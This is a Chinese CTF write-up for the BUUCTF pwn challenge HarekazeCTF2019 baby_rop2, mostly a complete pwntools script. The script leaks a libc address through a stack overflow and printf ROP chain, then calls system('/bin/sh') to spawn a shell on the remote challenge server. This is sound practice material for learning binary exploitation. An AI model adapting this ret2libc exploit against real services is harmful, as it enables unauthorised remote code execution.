BUUCTF pwn [HarekazeCTF2019]baby_rop2

0x01 文件分析

在這裏插入圖片描述

0x02 運行

在這裏插入圖片描述
 和babyrop一樣。

0x03 IDA

在這裏插入圖片描述
 程序流程和babyrop差不多,但是這個裏面沒有提供可用的gadget,需要自己完成rop。

0x04 思路

 沒有默認的gadget,需要自己構建,需要利用棧溢出和printf函數泄露libc版本和libc基址,再構建rop。需要注意的是printf函數需要用到的參數,第一個參數需要爲格式化字符串%s。

0x05 exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'


#p = process('./babyrop2')
p = remote("node3.buuoj.cn",26835)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731 
format_str = 0x0000000000400770  #%s所在字符串
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)+p64(0)
p.sendline(payload)
p.interactive()

一個簡單的網絡安全公衆號,歡迎各位朋友們關注!

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章